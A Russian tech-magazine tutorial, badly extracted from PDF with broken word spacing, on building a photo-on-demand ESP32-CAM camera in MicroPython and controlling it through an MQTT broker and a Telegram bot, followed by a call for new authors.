кулятор. Сей час начина ющие прог раммис- 
ты во вре мя обу чения час то пишут телег- 
рам-ботов, бла го на Python это сде лать
отно ситель но нес ложно. Давай соз дадим
бота, но не прос того, а вза имо дей ству юще- 
го с нашим собс твен ным устрой ством
для умно го дома, которое мы самос- 
тоятель но соберем и зап рограм миру ем.

На мой взгляд, основное дос тоинс тво Python — уни вер саль ность: с его
помощью мож но решить прак тичес ки любую задачу бла года ря огромно му
количес тву сбо рок. Это прив носящий магию C++ , бра узер ный

, поз воля ющий работать с Java  и мно жес тво биб лиотек на все
слу чаи жиз ни.

Cython
Brython Jython

Но до срав нитель но недав него вре мени, если Python-прог раммист хотел
сде лать девайс для умно го дома или машин ку на ради оуп равле нии, он был
вынуж ден либо исполь зовать Arduino и волей-неволей учить C++, либо
доволь ство вать ся мик рокомпь юте ром вро де Raspberry Pi и искать (а порой
и писать свои) биб лиоте ки для управле ния теми или ины ми китай ски ми
модуля ми. Иног да вооб ще при ходи лось соз давать хто ничес ких чудовищ, под- 
клю чая про водом Arduino к Raspberry и опра шивая дат чики через serial port,
но все рав но при этом нуж но было писать про шив ку для Arduino или дру гого
кон трол лера на C++.

Но уже при мер но пять лет, если судить по дате моей 
, мож но занимать ся DIY-про екта ми, не перек люча ясь с одно- 

го язы ка прог рамми рова ния на дру гой. За это вре мя мно гое в мире
MicroPython поменя лось, выш ли новые сбор ки, появи лись одни биб лиоте ки
и пол ностью перес тали под держи вать ся дру гие, а Arduino офи циаль но при- 
няла MicroPython в свою эко сис тему.

статьи
про MicroPython

С каж дым годом чис ло под держи вающих MicroPython плат рас тет, но зна- 
читель ный их про цент все еще базиру ется на ESP32. И дей стви тель но, у это- 
го кон трол лера мас са дос тоинств, таких как встро енные Wi-Fi и BLE, а еще,
если говорить чес тно, отсутс твие кон курен тов в том же ценовом диапа зоне.
Но вот что каса ется плат, базиру ющих ся на этом кон трол лере, — тут гла за
раз бега ются. Это и базовые вер сии от , целые наборы и модули
от  и . Не отста ют, кста ти, и рос сий ские инже неры: магазин
iArduino не так дав но выпус тил свою отла доч ную пла ту .

WeMos
M5Stack LILYGO

Piranha
К тому же нель зя забывать про Великий Китай ский Ноунейм, которым

завален «Али экс пресс». Кста ти, в нашем про екте мы будем исполь зовать
одну из таких плат — ESP32-CAM (я так и не смог разоб рать ся, кто же ее офи- 
циаль ный про изво дитель). Как нес ложно догадать ся по наз ванию, это модуль
на осно ве ESP32 с под клю чен ной камерой, чаще все го это OV2640, но если
ты хочешь добить ся луч шего качес тва, то мож но под клю чить и дру гие.

Pinout Map

Вот спи сок необ ходимо го ПО:
твоя любимая IDE для раз работ ки — я исполь зую PyCharm;•
ESP32 MPY-Jama — кросс-плат формен ная IDE для MicroPython;•
Telegram.•

Итак, что же мы будем делать? Как ты уже, навер ное, догадал ся, судя по тому,
что я выб рал пла ту с камерой, — сис тему виде онаб людения. Но не прос тую,
с пос тоян ной тран сля цией, а с воз можностью мгно вен но получить фотог- 
рафию. Управлять ею мы будем через Telegram-бота, а что бы не приш лось
покупать ста тичес кий IP-адрес, для обще ния бота и девай са исполь зуем про- 
токол MQTT.

INFO

MQTT (Message Queuing Telemetry Transport) —
это лег ковес ный про токол переда чи сооб щений,
который исполь зует ся для обме на дан ными меж- 
ду устрой ства ми в интерне те вещей (IoT). Он
приз ван обес печивать надеж ную связь меж ду
мно жес твом устрой ств, которые работа ют с огра- 
ничен ными ресур сами и могут быть под клю чены
к интерне ту толь ко вре мен но или с пери оди чес- 
кими задер жка ми.

MQTT работа ет по прин ципу «изда тель — под- 
писчик», где одни устрой ства могут пуб ликовать
сооб щения в топики (topics), а дру гие под- 
писывать ся на них, что бы получать сооб щения,
которые им нуж ны. Про токол пре дос тавля ет гиб- 
кий и прос той спо соб переда чи сооб щений, что
дела ет его иде аль ным для исполь зования в сис- 
темах IoT, где устрой ства могут иметь раз ные
фун кци ональ ные воз можнос ти и огра ниче ния.

ÍÀÑÒÐÎÉÊÀ ÈÍÔÐÀÑÒÐÓÊÒÓÐÛ

Пе ред тем как непос редс твен но перей ти к прог рамми рова нию, необ ходимо
нас тро ить так называ емый MQTT-бро кер. Это сер вер, на котором рас полага- 
ются топики и к которо му под клю чают ся под писчи ки и изда тели.

Ра зуме ется, мож но нас тро ить его самос тоятель но, нап ример исполь зуя
. Но сто ит толь ко подумать, что, кро ме самого бро кера, при дет ся

нас тра ивать сер вер, бес поко ить ся о его безопас ности и так далее,
как желание занимать ся про ектом куда-то про пада ет.

Mosquitto

Так что в качес тве бро кера мы будем исполь зовать сер вис . Его
бес плат ного тарифа нам хва тит с головой. Сре ди дос тоинств это го сер- 
виса — инту итив но понят ный интерфейс, под робная докумен тация и визу али- 
зация всей сис темы. На глав ной стра нице тво его про екта мож но уви деть,
какие топики соз даны и какое в них было пос леднее сооб щение, какие
устрой ства под клю чены, а ког да нач нутся рас сылки пакетов — их тоже будет
вид но!

shiftr.io

При мер, как может все отоб ражать ся

Что бы наши устрой ства — телег рам-бот и ESP32-CAM — мог ли вза имо дей- 
ство вать с нашим MQTT-бро кером, необ ходимо выпус тить токен. Это мож но
сде лать в нас трой ках тво его прос транс тва.

Пос ле это го в спис ке токенов появит ся такой эле мент: 

, где  — это логин,
а  — пароль. Запом ни их, они нам еще при годят ся.

Инфраструк тура нас тро ена, мож но прис тупать к прог рамми рова нию.

mqtt://xakep:
utBmi6LTWS7b4l5@xakep.cloud.shiftr.io xakep

utBmi6LTWS7b4l5

ESP32-CAM

Для прог рамми рова ния ESP32 на MicroPython сущес тву ет нес коль ко IDE. Я
оста новил свой выбор на ESP32 MPY-Jama — опен сор сном решении со мно- 
жес твом удоб ных фун кций.

Од на из них — гра фичес кий интерфейс для ути литы esptool. Которую,
впро чем, все рав но нуж но уста новить через pip: .pip install esptool

Так выг лядит заг рузчик

Мы будем исполь зовать спе циаль ную про шив ку для ESP32-CAM, она дос- 
тупна в . Ска чива ем  и, исполь зуя
IDE, про шива ем, не забыв перед этим отформа тиро вать Flash-память.

этом GitHub-репози тории файл про шив ки

Те перь мы можем под клю чить ся и заг рузить необ ходимые фай лы на нашу
пла ту. Для работы, кро ме встро енных биб лиотек, нам понадо бят ся биб лиоте- 
ки  и . Их мож но
уста новить с помощью встро енно го менед жера пакетов upip. Для это го под- 
клю чись к интерне ту через Wi-Fi, а затем выпол ни сле дующие коман ды:

micropython-umqtt.robust micropython-umqtt.simple

 import network
 import upip

# Не забудь вставить имя своей Wi-Fi-сети и пароль от нее
 def wifi_setup():

    global sta_if
   sta_if.active(True)
   sta_if.scan()
    sta_if.connect('SSID', 'PASSWORD')
   print("Waiting for Wifi connection")
      while not sta_if.isconnected(): time.sleep(1)
   print("Connected to WiFi")

wifi_setup()
upip.install("micropython-umqtt.robust")
upip.install("micropython-umqtt.simple")

Те перь у нас все готово для работы. Что бы облегчить задачу, я написал
неболь шую биб лиотеч ку — со все ми необ ходимы ми фун кци ями. Давай пос- 
мотрим, что в нее вхо дит.

Вна чале импорти руем необ ходимые биб лиоте ки:
 — для под клю чения к интерне ту;• network

 — для вза имо дей ствия с MQTT-бро кером;• umqtt.robust

 — в этой биб лиоте ке находят ся фун кции для работы с камерой;• camera

 — похож на одно имен ную биб лиоте ку из обыч ного Python;• time

 — это базовый модуль MicroPython, поз воля ющий управлять
пинами.

• machine

# Импорт библиотек
 import network

   from umqtt.robust import MQTTClient
 import camera
 import time
 import machine

# Инициализация глобальных переменных
   sta_if = network.WLAN(network.STA_IF); # Wi-Fi-модуль

   camera.init(0, format=camera.JPEG, fb_location=camera.PSRAM) # 
Непосредственно камера

   mqtt_client = None # Заготовка для MQTT-клиента
    led = machine.Pin(4, machine.Pin.OUT) # Встроенный светодиод

С одной из фун кций биб лиоте ки мы поз накоми лись рань ше, ког да под клю- 
чались к Wi-Fi, теперь рас смот рим осталь ные.

Пер вая называ ется . В этой фун кции выпол няет ся фотог- 
рафиро вание и отправ ка в фотог рафии (которая сей час выг лядит как строч ка
бай тов) в MQTT-топик . Что бы очис тить топик, мы отпра вим строч ку

 перед тем, как отсы лать непос редс твен но изоб ражение.

take_photo

'image'
b'None'

 def take_photo():
    global mqtt_client
     mqtt_client.publish('image', b'None', qos=0)
     capture = camera.capture()
     mqtt_client.publish('image', capture, qos=0)

Сле дующая фун кция — , это обра бот чик сооб щений, при ходя- 

щих в топики. В том слу чае, если в топик  при ходит коман да

, мы вызыва ем уже зна комую нам фун кцию, а если коман да
 или  — то, соот ветс твен но, вклю чаем или вык люча- 

ем встро енный све тоди од.

mqtt_callback
command

take_photo
enable_led disable_led

  def mqtt_callback(topic, data_bytes):
    global led
     topic = topic.decode()
     data = data_bytes.decode()
      if topic == "command":

          if data == "take_photo":
           take_photo()

          elif data == "enable_led":
           led.value(1)

          elif data == "disable_led":
           led.value(0)

Идем даль ше:  — в этой фун кции про изво дит ся под клю чение

к MQTT-бро керу с исполь зовани ем логина и пароля, которые мы нас тро или
рань ше, под клю чает ся кол бэк (обра бот чик) и запус кает ся бес конеч ный цикл
ожи дания команд от бро кера.

mqtt_setup

 def mqtt_setup():
    global mqtt_client
     mqtt_client = MQTTClient(
     "umqtt_xakep_client",
     server='xakep.cloud.shiftr.io',
     port=1883,
     user='xakep',
     password='utBmi6LTWS7b4l5')
   mqtt_client.set_callback(mqtt_callback)
   mqtt_client.connect()
    if mqtt_client:
       mqtt_client.subscribe('command')
   print("Connected to MQTT")
    while True:
       mqtt_client.check_msg()

Что бы запус тить наше устрой ство, необ ходимо импорти ровать из биб лиоте ки
фун кции  и , а затем по оче реди их выпол нить.

Это мож но сде лать пря мо из тер минала. Если все нас тро ено пра виль но, то
в сво ем инста се  ты уви дишь под клю чен ное устрой ство с име нем

.

wifi_setup mqtt_setup

shiftr.io
umqtt_xakep_client

Продолжение статьи →
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https://www.wemos.cc/en/latest/
https://m5stack.com/
http://www.lilygo.cn/
https://iarduino.ru/shop/boards/piranha-esp32.html
https://mosquitto.org/
https://shiftr.io/
https://github.com/lemariva/micropython-camera-driver
https://github.com/lemariva/micropython-camera-driver/blob/master/firmware/micropython_camera_feeeb5ea3_esp32_idf4_4.bin
https://shiftr.io/
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Убе дим ся, что все нас тро ено пра виль но, попытав шись вклю чить све тоди од.
Для это го нам нуж но записать в топик с име нем  строч ку .

Мож но вос поль зовать ся любым MQTT-кли ентом: на телефо не, на компь юте- 
ре или в интерне те. Я выб рал мобиль ное при ложе ние EasyMQTT, и в моем
инста се появи лось новое устрой ство. На экра не мож но отсле дить переме- 
щение пакета (малень кой чер ной точ ки).

command enable_led

Ес ли у тебя все работа ет, то све тоди од будет пос лушно вклю чать ся и вык- 
лючать ся по коман де. Оста лось нас тро ить авто мати чес кое под клю чение к Wi-
Fi и MQTT при вклю чении девай са. Для это го необ ходимо добавить вызовы
наших фун кций в файл , который выпол няет ся при запус ке устрой- 
ства.

boot.py

TELEGRAM-ÁÎÒ

Что дол жен делать наш бот? При нимать коман ду от поль зовате ля — при чем
желатель но в челове чес ком фор мате — и отправ лять ее на наш MQTT-бро- 
кер, а затем дожидать ся фотог рафии с устрой ства и переда вать ее поль- 
зовате лю.

Прог рамма будет сос тоять из двух час тей: непос редс твен но телег- 
рам-бота, реали зующе го вза имо дей ствие с поль зовате лем, и «MQTT-кли- 
ента», который будет отправ лять коман ды на наш гад жет и при нимать фотог- 
рафии. Для начала напишем имен но его с исполь зовани ем биб лиоте ки

.pahomqtt
Вспом ним, что нуж но было сде лать для нас трой ки «MQTT-кли ента»

на ESP:
1. Нас тро ить под клю чение к сер веру.
2. Нас тро ить обра бот чик событий.

Здесь все то же самое, толь ко нем ного отли чает ся син таксис. Для начала
соз дадим файл , где будет хра нить ся вся кон фигура ция:config.py

  MQTT_HOST = "xakep.cloud.shiftr.io"
  MQTT_PORT = 1883

  MQTT_KEEPALIVE = 60
  MQTT_LOGIN = "xakep"

  MQTT_PASSWORD = "utBmi6LTWS7b4l5"

Мож но было соз дать отдель ный токен, но мы вос поль зовались сущес тву- 
ющим. Импорти руем биб лиоте ки:

   import paho.mqtt.client as mqtt

       from config import MQTT_LOGIN, MQTT_KEEPALIVE, MQTT_PORT, MQTT_HOST,
MQTT_PASSWORD

Соз даем фун кции — обра бот чики событий: под клю чения и нового сооб- 
щения.

    def on_connect(client, userdata, flags, rc):
   client.subscribe("image")

   def on_message(client, userdata, msg):
      if msg.topic == "image":

          if msg.payload != b'None':
               with open(f"images/photo.jpeg", "wb") as file:

               file.write(msg.payload)

Пос ле под клю чения наша прог рамма под писыва ется на канал  и ждет
сооб щений. А ког да дожида ется, про веря ет, что это кор рек тное сооб щение,
и сох раня ет его как кар тинку.

image

Те перь оста лось толь ко под клю чить ся к сер веру и при вязать наши фун- 
кции к соот ветс тву ющим событи ям:

   client = mqtt.Client(client_id="TelegramBot", clean_session=True)

 client.username_pw_set(MQTT_LOGIN, MQTT_PASSWORD)
  client.on_connect = on_connect
  client.on_message = on_message

  client.connect(MQTT_HOST, MQTT_PORT, MQTT_KEEPALIVE)

Те перь зай мем ся непос редс твен но ботом. Для реали зации логики ботов
на Python сущес тву ет мно жес тво биб лиотек. Нап ример, в статье «

» исполь- 
зовалась , но я выб рал асин хрон ную биб лиоте ку .

Пи тоном
по телег раму! Пишем пять прос тых Telegram-ботов на Python

telebot aiogram
Что бы вза имо дей ство вать с Telegram, необ ходимо зарегис три ровать

бота. О том, как это сде лать, написа но мно го раз, нап ример все в той же
. Так что не буду пов торять ся, ска жу лишь, что ,

получен ный от BotFather, я тоже добавил в файл кон фигура ции.
статье TELEGRAM_TOKEN

Соз дадим шаб лон для нашего бота, что бы отве чать на все фра зы сооб- 
щени ем о том, что этот бот уме ет.

     from aiogram import Bot, Dispatcher, executor
     from aiogram.types import Message, KeyboardButton,

ReplyKeyboardMarkup

   from config import TELEGRAM_TOKEN

# Создаем красивую клавиатуру с кнопками
  keyboard = ReplyKeyboardMarkup(resize_keyboard=True)

keyboard.add(
   KeyboardButton(text="Включи светодиод"),
   KeyboardButton("Выключи светодиод"),
   KeyboardButton("Сделай фото")
)

# Объект бота
  bot = Bot(token=TELEGRAM_TOKEN)

# Диспетчер для бота
  dp = Dispatcher(bot)

# Обработчик всех сообщений
@dp.message_handler()

   async def any_text_message(message: Message):
    await message.answer(
       "Привет! Я умею включать и выключать светодиод и делать 
фотографии. Нажми на нужную кнопку!",
       reply_markup=keyboard
   )

   if __name__ == "__main__":
   # Запуск бота
    executor.start_polling(dp, skip_updates=True)

Ес ли теперь ты выпол нишь прог рамму и поп робу ешь запус тить бота
на телефо не, то уви дишь такую кар тину.

Шаб лон для бота

Те перь необ ходимо добавить работу нашего MQTT-кли ента и отправ ку
команд. Что бы одновре мен но работал и бот, и MQTT-кли ент, мы запус тим
кли ент в парал лель ном потоке.

 import threading

  tr = threading.Thread(target=client.loop_forever)
tr.start()

А теперь напишем обра бот чики для команд. С вклю чени ем и вык лючени ем
све тоди ода все прос то — надо отпра вить соот ветс тву ющую коман ду в нуж- 
ный топик и отве тить поль зовате лю, не забыв передать исполь зуемую кла- 
виату ру.

    @dp.message_handler(lambda message: message.text == "Включи 
светодиод")

   async def enable_led(message: Message):
    client.publish("command", "enable_led")
    
 

await message.answer("Команда на включение светодиода отправлена"
, reply_markup=keyboard)

    @dp.message_handler(lambda message: message.text == "Выключи 
светодиод")

   async def disable_led(message: Message):
    client.publish("command", "disable_led")
    

 
await message.answer("Команда на выключение светодиода 

отправлена", reply_markup=keyboard)

Но что делать, ког да мы хотим снять фотог рафию? Ведь нам нуж но получить
ответ от камеры. Вос поль зуем ся неболь шим лай фха ком.

Пос тро им алго ритм так: отправ ляем коман ду, ждем какое-то вре мя, если
за это вре мя наш MQTT-кли ент не ска чал фотог рафию, то счи таем, что про- 
изош ла ошиб ка, и уве дом ляем об этом поль зовате ля. Вре мя опять же зада- 
ется в кон фигура цион ном фай ле — в перемен ной .TIME_WAIT_PHOTO

   from asyncio import sleep

    @dp.message_handler(lambda message: message.text == "Сделай фото")
   async def take_photo(message: Message):

    client.publish("image", "None")
    client.publish("command", "take_screenshot")
     start = time.time()
     while not os.listdir("images"):

            if time.time() - start < TIME_WAIT_PHOTO:
            await sleep(1)

       else:
 

 
           await message.answer("Что-то пошло не так — повторите 
попозже!", reply_markup=keyboard)
           return
       with open("images/photo.jpeg", "rb") as new_image:

         await message.answer_photo(photo=new_image, reply_markup=
keyboard)
       os.remove("images/photo.jpeg")

Да вай теперь запус тим все вмес те и пос мотрим, как оно работа ет.

Наш девайс готов! Ска чать все необ ходимое для пов торения это го экспе- 
римен та мож но в .мо ем репози тории на GitHub

Не забудь под клю чить к устрой ству пос тоян ное питание — и можешь наб- 
людать за сво ими домаш ними питом цами или 3D-прин тером.

https://xakep.ru/2021/11/28/python-telegram-bots/
https://xakep.ru/2021/11/28/python-telegram-bots/
https://github.com/AviPaperno/Telegram-ESP32Cam/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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